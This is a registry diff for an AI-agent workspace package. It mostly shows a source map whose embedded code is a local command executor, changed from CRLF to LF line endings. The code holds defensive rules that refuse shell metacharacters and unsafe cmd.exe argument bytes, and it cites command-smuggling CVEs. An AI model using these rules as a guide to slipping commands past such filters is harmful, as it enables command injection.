@warlock.js/ai-workspace 5.24.0 → 5.25.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +6 -0
- package/cjs/index.cjs.map +1 -1
- package/esm/backends/local.mjs.map +1 -1
- package/esm/policy/policy.mjs.map +1 -1
- package/esm/policy/tokenize-command.mjs.map +1 -1
- package/esm/tools/run-tests.mjs.map +1 -1
- package/llms-full.txt +236 -236
- package/package.json +3 -3
- package/skills/build-loop-agent/SKILL.md +100 -100
- package/skills/use-a-workspace/SKILL.md +136 -136
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"local.mjs","names":[],"sources":["../../../../../../../ai-workspace/src/backends/local.ts"],"sourcesContent":["import { spawn } from \"node:child_process\";\r\nimport { realpath } from \"node:fs/promises\";\r\nimport { platform } from \"node:process\";\r\nimport { fs } from \"@warlock.js/fs\";\r\nimport { tokenizeCommand } from \"../policy/tokenize-command\";\r\nimport type {\r\n WorkspaceBackend,\r\n WorkspaceBackendExecOptions,\r\n WorkspaceBackendExecResult,\r\n} from \"../contracts/workspace-backend.contract\";\r\n\r\n/**\r\n * Hard ceiling on captured `stdout`/`stderr` per stream, in bytes. The raw\r\n * executor truncates each stream once this many bytes have accumulated so a\r\n * runaway command cannot exhaust memory; the ops layer applies its own\r\n * policy-driven cap (and the `truncated` flag) on top. Generous enough that\r\n * ordinary command output is never clipped here.\r\n */\r\nconst MAX_STREAM_BYTES = 10 * 1024 * 1024;\r\n\r\n/**\r\n * Append a chunk to a capped list of buffers, tracking the running byte\r\n * total and stopping once {@link MAX_STREAM_BYTES} is reached. Trailing bytes\r\n * past the cap are dropped rather than buffered.\r\n */\r\nfunction pushCapped(chunks: Buffer[], total: number, chunk: Buffer): number {\r\n if (total >= MAX_STREAM_BYTES) {\r\n return total;\r\n }\r\n\r\n const remaining = MAX_STREAM_BYTES - total;\r\n\r\n if (chunk.length <= remaining) {\r\n chunks.push(chunk);\r\n\r\n return total + chunk.length;\r\n }\r\n\r\n chunks.push(chunk.subarray(0, remaining));\r\n\r\n return MAX_STREAM_BYTES;\r\n}\r\n\r\n/**\r\n * Force-kill a spawned command and its entire process tree.\r\n *\r\n * The direct child may have grandchildren (on Windows it is the `cmd.exe`\r\n * wrapper around a batch shim; anywhere, an allowed `npm`/`node` can spawn\r\n * further processes), so signalling the direct child alone could leave a\r\n * long-running grandchild alive and the `exec` promise unsettled. We\r\n * therefore kill the whole group:\r\n * - **Windows** — `taskkill /T /F` walks and terminates the PID's tree.\r\n * - **POSIX** — the child is spawned `detached`, becoming its own process\r\n * group leader, so `process.kill(-pid)` SIGKILLs the group.\r\n */\r\nfunction killTree(pid: number | undefined, child: { kill(signal: NodeJS.Signals): boolean }): void {\r\n if (pid === undefined) {\r\n child.kill(\"SIGKILL\");\r\n\r\n return;\r\n }\r\n\r\n if (platform === \"win32\") {\r\n spawn(\"taskkill\", [\"/pid\", String(pid), \"/T\", \"/F\"], { windowsHide: true });\r\n\r\n return;\r\n }\r\n\r\n try {\r\n process.kill(-pid, \"SIGKILL\");\r\n } catch {\r\n // The group may already be gone; fall back to the direct child.\r\n child.kill(\"SIGKILL\");\r\n }\r\n}\r\n\r\n/**\r\n * Argument bytes `cmd.exe` cannot carry safely even inside double quotes:\r\n * an embedded quote breaks out of the quoted span, `%` triggers variable\r\n * expansion regardless of quoting, and newlines end the command line. An\r\n * argv containing any of these is refused rather than risked (the\r\n * BatBadBut / CVE-2024-24576 class of `cmd.exe` argument smuggling).\r\n */\r\nconst WIN32_UNSAFE_ARGUMENT = /[\"%\\r\\n]/;\r\n\r\n/**\r\n * Build the `cmd.exe` invocation that runs an argv on Windows. Batch shims\r\n * (`npm.cmd`, `npx.cmd`, …) cannot be spawned directly without a shell\r\n * (Node rejects them since CVE-2024-27980), so the argv is run through\r\n * `cmd.exe /d /s /c` with every element individually double-quoted —\r\n * quoted spans are literal to cmd's parser, so pipes/ampersands inside an\r\n * argument stay argument data. Returns `null` when an element contains a\r\n * byte cmd cannot quote safely (see {@link WIN32_UNSAFE_ARGUMENT}).\r\n *\r\n * The caller must spawn with `windowsVerbatimArguments: true` so Node does\r\n * not re-quote the already-quoted command line.\r\n */\r\nfunction toWin32CmdInvocation(\r\n argv: string[],\r\n): { file: string; args: string[] } | null {\r\n if (argv.some((element) => WIN32_UNSAFE_ARGUMENT.test(element))) {\r\n return null;\r\n }\r\n\r\n const commandLine = argv.map((element) => `\"${element}\"`).join(\" \");\r\n\r\n return {\r\n file: process.env.ComSpec ?? \"cmd.exe\",\r\n args: [\"/d\", \"/s\", \"/c\", `\"${commandLine}\"`],\r\n };\r\n}\r\n\r\n/**\r\n * The real-disk executor: every filesystem method delegates to\r\n * `@warlock.js/fs` (never `node:fs`), and {@link LocalBackend.exec} spawns a\r\n * process via `node:child_process`. It is deliberately **policy-agnostic** —\r\n * it receives already-resolved absolute paths and an already-resolved\r\n * environment + timeout from the ops layer, and just performs the side\r\n * effect. See {@link WorkspaceBackend} for the contract this implements.\r\n *\r\n * Constructed via {@link createLocalBackend}; the class itself is internal.\r\n */\r\nclass LocalBackend implements WorkspaceBackend {\r\n /** Read a file's full UTF-8 content at an absolute path. */\r\n public async readFile(absPath: string): Promise<string> {\r\n return fs.files.get(absPath);\r\n }\r\n\r\n /**\r\n * Write full content to an absolute path. Uses `atomicWriteAsync`, so a\r\n * concurrent reader never observes a half-written file, and missing parent\r\n * directories are created.\r\n */\r\n public async writeFile(absPath: string, content: string): Promise<void> {\r\n await fs.files.put(absPath, content, { atomic: true });\r\n }\r\n\r\n /** Whether anything (file or directory) exists at an absolute path. */\r\n public async exists(absPath: string): Promise<boolean> {\r\n return fs.exists(absPath);\r\n }\r\n\r\n /** Create a directory (and any missing parents) at an absolute path; idempotent. */\r\n public async mkdir(absPath: string): Promise<void> {\r\n await fs.dirs.ensure(absPath);\r\n }\r\n\r\n /**\r\n * Remove a file or directory tree at an absolute path. Stats the target to\r\n * pick the right op — `fs.dirs.remove` (recursive) for a directory,\r\n * `fs.files.remove` for anything else. A path that does not exist is a no-op\r\n * (the stat's ENOENT short-circuits, and both removes swallow `ENOENT`).\r\n */\r\n public async remove(absPath: string): Promise<void> {\r\n let isDirectory = false;\r\n\r\n try {\r\n isDirectory = (await fs.files.stats(absPath)).type === \"directory\";\r\n } catch (error) {\r\n if ((error as NodeJS.ErrnoException)?.code === \"ENOENT\") {\r\n return;\r\n }\r\n\r\n throw error;\r\n }\r\n\r\n if (isDirectory) {\r\n await fs.dirs.remove(absPath);\r\n\r\n return;\r\n }\r\n\r\n await fs.files.remove(absPath);\r\n }\r\n\r\n /** List immediate children of an absolute directory as absolute paths. */\r\n public async list(absDir: string): Promise<string[]> {\r\n return fs.dirs.list(absDir);\r\n }\r\n\r\n /**\r\n * Resolve symlinks and `..` segments to a canonical absolute path — the\r\n * primitive the ops-layer jail uses to detect escapes. Delegates to\r\n * `node:fs/promises` `realpath`, the one filesystem operation `@warlock.js/fs`\r\n * does not expose.\r\n */\r\n public async realpath(absPath: string): Promise<string> {\r\n return realpath(absPath);\r\n }\r\n\r\n /**\r\n * Run a command and capture its outcome. The command line is tokenized\r\n * into an argv (quotes respected, NO shell semantics — see\r\n * `tokenizeCommand`) and spawned **without a shell**, so metacharacters\r\n * like `;`, `&&`, `|`, backticks, and `$()` can never chain extra\r\n * commands past the ops layer's allowlist; a command they appear\r\n * unquoted in is refused with exit code 127. On Windows the argv runs\r\n * through a `cmd.exe /d /s /c` wrapper (batch shims like `npm.cmd`\r\n * cannot be spawned shell-less) with every element individually quoted.\r\n * `cwd`, `env`, and the timeout are taken verbatim from the ops layer\r\n * (the environment is NOT merged with `process.env`). On timeout the\r\n * process is SIGKILLed and `timedOut` is set. `stdout`/`stderr` are\r\n * captured and byte-capped per {@link MAX_STREAM_BYTES}.\r\n *\r\n * Never rejects for a non-zero exit, a missing executable, a refused\r\n * command line, or a timeout — those are reported through the resolved\r\n * {@link WorkspaceBackendExecResult} so the ops layer can surface them\r\n * as tool-error data.\r\n */\r\n public exec(\r\n command: string,\r\n opts: WorkspaceBackendExecOptions = {},\r\n ): Promise<WorkspaceBackendExecResult> {\r\n return new Promise<WorkspaceBackendExecResult>((resolve) => {\r\n const refuse = (stderr: string): void =>\r\n resolve({ exitCode: 127, stdout: \"\", stderr, timedOut: false });\r\n\r\n const argv = tokenizeCommand(command);\r\n\r\n if (argv === null) {\r\n refuse(\r\n \"Command was not executed: it is empty, has unbalanced quotes, or \" +\r\n \"contains unquoted shell metacharacters (;, &, |, `, $, <, >, \" +\r\n \"parentheses). Commands run without a shell — pass metacharacters \" +\r\n \"inside quotes as literal arguments, or run one command at a time.\",\r\n );\r\n\r\n return;\r\n }\r\n\r\n let file = argv[0];\r\n let args = argv.slice(1);\r\n let windowsVerbatimArguments = false;\r\n\r\n if (platform === \"win32\") {\r\n const invocation = toWin32CmdInvocation(argv);\r\n\r\n if (invocation === null) {\r\n refuse(\r\n 'Command was not executed: on Windows, arguments containing \", %, ' +\r\n \"or newlines cannot be passed to cmd.exe safely.\",\r\n );\r\n\r\n return;\r\n }\r\n\r\n file = invocation.file;\r\n args = invocation.args;\r\n windowsVerbatimArguments = true;\r\n }\r\n\r\n const child = spawn(file, args, {\r\n cwd: opts.cwd,\r\n env: opts.env,\r\n shell: false,\r\n windowsHide: true,\r\n windowsVerbatimArguments,\r\n // POSIX: own process group so a timeout SIGKILL reaps the whole\r\n // process tree, not just the direct child. Harmless on Windows\r\n // (ignored; there we tree-kill via taskkill instead).\r\n detached: platform !== \"win32\",\r\n });\r\n\r\n const stdoutChunks: Buffer[] = [];\r\n const stderrChunks: Buffer[] = [];\r\n let stdoutBytes = 0;\r\n let stderrBytes = 0;\r\n let timedOut = false;\r\n let settled = false;\r\n\r\n const timer =\r\n opts.timeoutMs !== undefined && opts.timeoutMs > 0\r\n ? setTimeout(() => {\r\n timedOut = true;\r\n killTree(child.pid, child);\r\n }, opts.timeoutMs)\r\n : undefined;\r\n\r\n const settle = (exitCode: number) => {\r\n if (settled) {\r\n return;\r\n }\r\n\r\n settled = true;\r\n\r\n if (timer !== undefined) {\r\n clearTimeout(timer);\r\n }\r\n\r\n resolve({\r\n exitCode,\r\n stdout: Buffer.concat(stdoutChunks).toString(\"utf8\"),\r\n stderr: Buffer.concat(stderrChunks).toString(\"utf8\"),\r\n timedOut,\r\n });\r\n };\r\n\r\n child.stdout?.on(\"data\", (chunk: Buffer) => {\r\n stdoutBytes = pushCapped(stdoutChunks, stdoutBytes, chunk);\r\n });\r\n\r\n child.stderr?.on(\"data\", (chunk: Buffer) => {\r\n stderrBytes = pushCapped(stderrChunks, stderrBytes, chunk);\r\n });\r\n\r\n // A spawn failure (e.g. the executable cannot be found) surfaces as\r\n // an error event with no exit; report it as a conventional\r\n // \"command not found\" exit code rather than rejecting.\r\n child.on(\"error\", () => {\r\n settle(127);\r\n });\r\n\r\n child.on(\"close\", (code, signal) => {\r\n // A null code means the process was terminated by a signal (our\r\n // timeout SIGKILL, or an external kill). Map that to the POSIX\r\n // 128 + signal-number convention so callers see a non-zero exit.\r\n if (code === null) {\r\n const signalNumber = signal === \"SIGKILL\" ? 9 : 1;\r\n settle(128 + signalNumber);\r\n\r\n return;\r\n }\r\n\r\n settle(code);\r\n });\r\n });\r\n }\r\n}\r\n\r\n/**\r\n * Create the **local** workspace backend — the default executor that runs the\r\n * workspace over the real disk (`@warlock.js/fs`) and the local shell\r\n * (`node:child_process`).\r\n *\r\n * The returned object is policy-agnostic: it expects already-jail-resolved\r\n * absolute paths and an already-resolved environment/timeout from the ops\r\n * layer. Pair it with {@link WorkspaceOps} for the actual cwd jail,\r\n * allow/deny lists, hashing, and output policy.\r\n *\r\n * @example\r\n * const backend = createLocalBackend();\r\n * await backend.writeFile(\"/srv/app/src/index.ts\", \"export const x = 1;\");\r\n * const { exitCode } = await backend.exec(\"node -v\", { cwd: \"/srv/app\" });\r\n */\r\nexport function createLocalBackend(): WorkspaceBackend {\r\n return new LocalBackend();\r\n}\r\n"],"mappings":"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"}
|
|
1
|
+
{"version":3,"file":"local.mjs","names":[],"sources":["../../../../../../../ai-workspace/src/backends/local.ts"],"sourcesContent":["import { spawn } from \"node:child_process\";\nimport { realpath } from \"node:fs/promises\";\nimport { platform } from \"node:process\";\nimport { fs } from \"@warlock.js/fs\";\nimport { tokenizeCommand } from \"../policy/tokenize-command\";\nimport type {\n WorkspaceBackend,\n WorkspaceBackendExecOptions,\n WorkspaceBackendExecResult,\n} from \"../contracts/workspace-backend.contract\";\n\n/**\n * Hard ceiling on captured `stdout`/`stderr` per stream, in bytes. The raw\n * executor truncates each stream once this many bytes have accumulated so a\n * runaway command cannot exhaust memory; the ops layer applies its own\n * policy-driven cap (and the `truncated` flag) on top. Generous enough that\n * ordinary command output is never clipped here.\n */\nconst MAX_STREAM_BYTES = 10 * 1024 * 1024;\n\n/**\n * Append a chunk to a capped list of buffers, tracking the running byte\n * total and stopping once {@link MAX_STREAM_BYTES} is reached. Trailing bytes\n * past the cap are dropped rather than buffered.\n */\nfunction pushCapped(chunks: Buffer[], total: number, chunk: Buffer): number {\n if (total >= MAX_STREAM_BYTES) {\n return total;\n }\n\n const remaining = MAX_STREAM_BYTES - total;\n\n if (chunk.length <= remaining) {\n chunks.push(chunk);\n\n return total + chunk.length;\n }\n\n chunks.push(chunk.subarray(0, remaining));\n\n return MAX_STREAM_BYTES;\n}\n\n/**\n * Force-kill a spawned command and its entire process tree.\n *\n * The direct child may have grandchildren (on Windows it is the `cmd.exe`\n * wrapper around a batch shim; anywhere, an allowed `npm`/`node` can spawn\n * further processes), so signalling the direct child alone could leave a\n * long-running grandchild alive and the `exec` promise unsettled. We\n * therefore kill the whole group:\n * - **Windows** — `taskkill /T /F` walks and terminates the PID's tree.\n * - **POSIX** — the child is spawned `detached`, becoming its own process\n * group leader, so `process.kill(-pid)` SIGKILLs the group.\n */\nfunction killTree(pid: number | undefined, child: { kill(signal: NodeJS.Signals): boolean }): void {\n if (pid === undefined) {\n child.kill(\"SIGKILL\");\n\n return;\n }\n\n if (platform === \"win32\") {\n spawn(\"taskkill\", [\"/pid\", String(pid), \"/T\", \"/F\"], { windowsHide: true });\n\n return;\n }\n\n try {\n process.kill(-pid, \"SIGKILL\");\n } catch {\n // The group may already be gone; fall back to the direct child.\n child.kill(\"SIGKILL\");\n }\n}\n\n/**\n * Argument bytes `cmd.exe` cannot carry safely even inside double quotes:\n * an embedded quote breaks out of the quoted span, `%` triggers variable\n * expansion regardless of quoting, and newlines end the command line. An\n * argv containing any of these is refused rather than risked (the\n * BatBadBut / CVE-2024-24576 class of `cmd.exe` argument smuggling).\n */\nconst WIN32_UNSAFE_ARGUMENT = /[\"%\\r\\n]/;\n\n/**\n * Build the `cmd.exe` invocation that runs an argv on Windows. Batch shims\n * (`npm.cmd`, `npx.cmd`, …) cannot be spawned directly without a shell\n * (Node rejects them since CVE-2024-27980), so the argv is run through\n * `cmd.exe /d /s /c` with every element individually double-quoted —\n * quoted spans are literal to cmd's parser, so pipes/ampersands inside an\n * argument stay argument data. Returns `null` when an element contains a\n * byte cmd cannot quote safely (see {@link WIN32_UNSAFE_ARGUMENT}).\n *\n * The caller must spawn with `windowsVerbatimArguments: true` so Node does\n * not re-quote the already-quoted command line.\n */\nfunction toWin32CmdInvocation(\n argv: string[],\n): { file: string; args: string[] } | null {\n if (argv.some((element) => WIN32_UNSAFE_ARGUMENT.test(element))) {\n return null;\n }\n\n const commandLine = argv.map((element) => `\"${element}\"`).join(\" \");\n\n return {\n file: process.env.ComSpec ?? \"cmd.exe\",\n args: [\"/d\", \"/s\", \"/c\", `\"${commandLine}\"`],\n };\n}\n\n/**\n * The real-disk executor: every filesystem method delegates to\n * `@warlock.js/fs` (never `node:fs`), and {@link LocalBackend.exec} spawns a\n * process via `node:child_process`. It is deliberately **policy-agnostic** —\n * it receives already-resolved absolute paths and an already-resolved\n * environment + timeout from the ops layer, and just performs the side\n * effect. See {@link WorkspaceBackend} for the contract this implements.\n *\n * Constructed via {@link createLocalBackend}; the class itself is internal.\n */\nclass LocalBackend implements WorkspaceBackend {\n /** Read a file's full UTF-8 content at an absolute path. */\n public async readFile(absPath: string): Promise<string> {\n return fs.files.get(absPath);\n }\n\n /**\n * Write full content to an absolute path. Uses `atomicWriteAsync`, so a\n * concurrent reader never observes a half-written file, and missing parent\n * directories are created.\n */\n public async writeFile(absPath: string, content: string): Promise<void> {\n await fs.files.put(absPath, content, { atomic: true });\n }\n\n /** Whether anything (file or directory) exists at an absolute path. */\n public async exists(absPath: string): Promise<boolean> {\n return fs.exists(absPath);\n }\n\n /** Create a directory (and any missing parents) at an absolute path; idempotent. */\n public async mkdir(absPath: string): Promise<void> {\n await fs.dirs.ensure(absPath);\n }\n\n /**\n * Remove a file or directory tree at an absolute path. Stats the target to\n * pick the right op — `fs.dirs.remove` (recursive) for a directory,\n * `fs.files.remove` for anything else. A path that does not exist is a no-op\n * (the stat's ENOENT short-circuits, and both removes swallow `ENOENT`).\n */\n public async remove(absPath: string): Promise<void> {\n let isDirectory = false;\n\n try {\n isDirectory = (await fs.files.stats(absPath)).type === \"directory\";\n } catch (error) {\n if ((error as NodeJS.ErrnoException)?.code === \"ENOENT\") {\n return;\n }\n\n throw error;\n }\n\n if (isDirectory) {\n await fs.dirs.remove(absPath);\n\n return;\n }\n\n await fs.files.remove(absPath);\n }\n\n /** List immediate children of an absolute directory as absolute paths. */\n public async list(absDir: string): Promise<string[]> {\n return fs.dirs.list(absDir);\n }\n\n /**\n * Resolve symlinks and `..` segments to a canonical absolute path — the\n * primitive the ops-layer jail uses to detect escapes. Delegates to\n * `node:fs/promises` `realpath`, the one filesystem operation `@warlock.js/fs`\n * does not expose.\n */\n public async realpath(absPath: string): Promise<string> {\n return realpath(absPath);\n }\n\n /**\n * Run a command and capture its outcome. The command line is tokenized\n * into an argv (quotes respected, NO shell semantics — see\n * `tokenizeCommand`) and spawned **without a shell**, so metacharacters\n * like `;`, `&&`, `|`, backticks, and `$()` can never chain extra\n * commands past the ops layer's allowlist; a command they appear\n * unquoted in is refused with exit code 127. On Windows the argv runs\n * through a `cmd.exe /d /s /c` wrapper (batch shims like `npm.cmd`\n * cannot be spawned shell-less) with every element individually quoted.\n * `cwd`, `env`, and the timeout are taken verbatim from the ops layer\n * (the environment is NOT merged with `process.env`). On timeout the\n * process is SIGKILLed and `timedOut` is set. `stdout`/`stderr` are\n * captured and byte-capped per {@link MAX_STREAM_BYTES}.\n *\n * Never rejects for a non-zero exit, a missing executable, a refused\n * command line, or a timeout — those are reported through the resolved\n * {@link WorkspaceBackendExecResult} so the ops layer can surface them\n * as tool-error data.\n */\n public exec(\n command: string,\n opts: WorkspaceBackendExecOptions = {},\n ): Promise<WorkspaceBackendExecResult> {\n return new Promise<WorkspaceBackendExecResult>((resolve) => {\n const refuse = (stderr: string): void =>\n resolve({ exitCode: 127, stdout: \"\", stderr, timedOut: false });\n\n const argv = tokenizeCommand(command);\n\n if (argv === null) {\n refuse(\n \"Command was not executed: it is empty, has unbalanced quotes, or \" +\n \"contains unquoted shell metacharacters (;, &, |, `, $, <, >, \" +\n \"parentheses). Commands run without a shell — pass metacharacters \" +\n \"inside quotes as literal arguments, or run one command at a time.\",\n );\n\n return;\n }\n\n let file = argv[0];\n let args = argv.slice(1);\n let windowsVerbatimArguments = false;\n\n if (platform === \"win32\") {\n const invocation = toWin32CmdInvocation(argv);\n\n if (invocation === null) {\n refuse(\n 'Command was not executed: on Windows, arguments containing \", %, ' +\n \"or newlines cannot be passed to cmd.exe safely.\",\n );\n\n return;\n }\n\n file = invocation.file;\n args = invocation.args;\n windowsVerbatimArguments = true;\n }\n\n const child = spawn(file, args, {\n cwd: opts.cwd,\n env: opts.env,\n shell: false,\n windowsHide: true,\n windowsVerbatimArguments,\n // POSIX: own process group so a timeout SIGKILL reaps the whole\n // process tree, not just the direct child. Harmless on Windows\n // (ignored; there we tree-kill via taskkill instead).\n detached: platform !== \"win32\",\n });\n\n const stdoutChunks: Buffer[] = [];\n const stderrChunks: Buffer[] = [];\n let stdoutBytes = 0;\n let stderrBytes = 0;\n let timedOut = false;\n let settled = false;\n\n const timer =\n opts.timeoutMs !== undefined && opts.timeoutMs > 0\n ? setTimeout(() => {\n timedOut = true;\n killTree(child.pid, child);\n }, opts.timeoutMs)\n : undefined;\n\n const settle = (exitCode: number) => {\n if (settled) {\n return;\n }\n\n settled = true;\n\n if (timer !== undefined) {\n clearTimeout(timer);\n }\n\n resolve({\n exitCode,\n stdout: Buffer.concat(stdoutChunks).toString(\"utf8\"),\n stderr: Buffer.concat(stderrChunks).toString(\"utf8\"),\n timedOut,\n });\n };\n\n child.stdout?.on(\"data\", (chunk: Buffer) => {\n stdoutBytes = pushCapped(stdoutChunks, stdoutBytes, chunk);\n });\n\n child.stderr?.on(\"data\", (chunk: Buffer) => {\n stderrBytes = pushCapped(stderrChunks, stderrBytes, chunk);\n });\n\n // A spawn failure (e.g. the executable cannot be found) surfaces as\n // an error event with no exit; report it as a conventional\n // \"command not found\" exit code rather than rejecting.\n child.on(\"error\", () => {\n settle(127);\n });\n\n child.on(\"close\", (code, signal) => {\n // A null code means the process was terminated by a signal (our\n // timeout SIGKILL, or an external kill). Map that to the POSIX\n // 128 + signal-number convention so callers see a non-zero exit.\n if (code === null) {\n const signalNumber = signal === \"SIGKILL\" ? 9 : 1;\n settle(128 + signalNumber);\n\n return;\n }\n\n settle(code);\n });\n });\n }\n}\n\n/**\n * Create the **local** workspace backend — the default executor that runs the\n * workspace over the real disk (`@warlock.js/fs`) and the local shell\n * (`node:child_process`).\n *\n * The returned object is policy-agnostic: it expects already-jail-resolved\n * absolute paths and an already-resolved environment/timeout from the ops\n * layer. Pair it with {@link WorkspaceOps} for the actual cwd jail,\n * allow/deny lists, hashing, and output policy.\n *\n * @example\n * const backend = createLocalBackend();\n * await backend.writeFile(\"/srv/app/src/index.ts\", \"export const x = 1;\");\n * const { exitCode } = await backend.exec(\"node -v\", { cwd: \"/srv/app\" });\n */\nexport function createLocalBackend(): WorkspaceBackend {\n return new LocalBackend();\n}\n"],"mappings":";;;;;;;;;;;;;;AAkBA,MAAM,mBAAmB,KAAK,OAAO;;;;;;AAOrC,SAAS,WAAW,QAAkB,OAAe,OAAuB;CAC1E,IAAI,SAAS,kBACX,OAAO;CAGT,MAAM,YAAY,mBAAmB;CAErC,IAAI,MAAM,UAAU,WAAW;EAC7B,OAAO,KAAK,KAAK;EAEjB,OAAO,QAAQ,MAAM;CACvB;CAEA,OAAO,KAAK,MAAM,SAAS,GAAG,SAAS,CAAC;CAExC,OAAO;AACT;;;;;;;;;;;;;AAcA,SAAS,SAAS,KAAyB,OAAwD;CACjG,IAAI,QAAQ,QAAW;EACrB,MAAM,KAAK,SAAS;EAEpB;CACF;CAEA,IAAI,aAAa,SAAS;EACxB,MAAM,YAAY;GAAC;GAAQ,OAAO,GAAG;GAAG;GAAM;EAAI,GAAG,EAAE,aAAa,KAAK,CAAC;EAE1E;CACF;CAEA,IAAI;EACF,QAAQ,KAAK,CAAC,KAAK,SAAS;CAC9B,QAAQ;EAEN,MAAM,KAAK,SAAS;CACtB;AACF;;;;;;;;AASA,MAAM,wBAAwB;;;;;;;;;;;;;AAc9B,SAAS,qBACP,MACyC;CACzC,IAAI,KAAK,MAAM,YAAY,sBAAsB,KAAK,OAAO,CAAC,GAC5D,OAAO;CAGT,MAAM,cAAc,KAAK,KAAK,YAAY,IAAI,QAAQ,EAAE,CAAC,CAAC,KAAK,GAAG;CAElE,OAAO;EACL,MAAM,QAAQ,IAAI,WAAW;EAC7B,MAAM;GAAC;GAAM;GAAM;GAAM,IAAI,YAAY;EAAE;CAC7C;AACF;;;;;;;;;;;AAYA,IAAM,eAAN,MAA+C;;CAE7C,MAAa,SAAS,SAAkC;EACtD,OAAO,GAAG,MAAM,IAAI,OAAO;CAC7B;;;;;;CAOA,MAAa,UAAU,SAAiB,SAAgC;EACtE,MAAM,GAAG,MAAM,IAAI,SAAS,SAAS,EAAE,QAAQ,KAAK,CA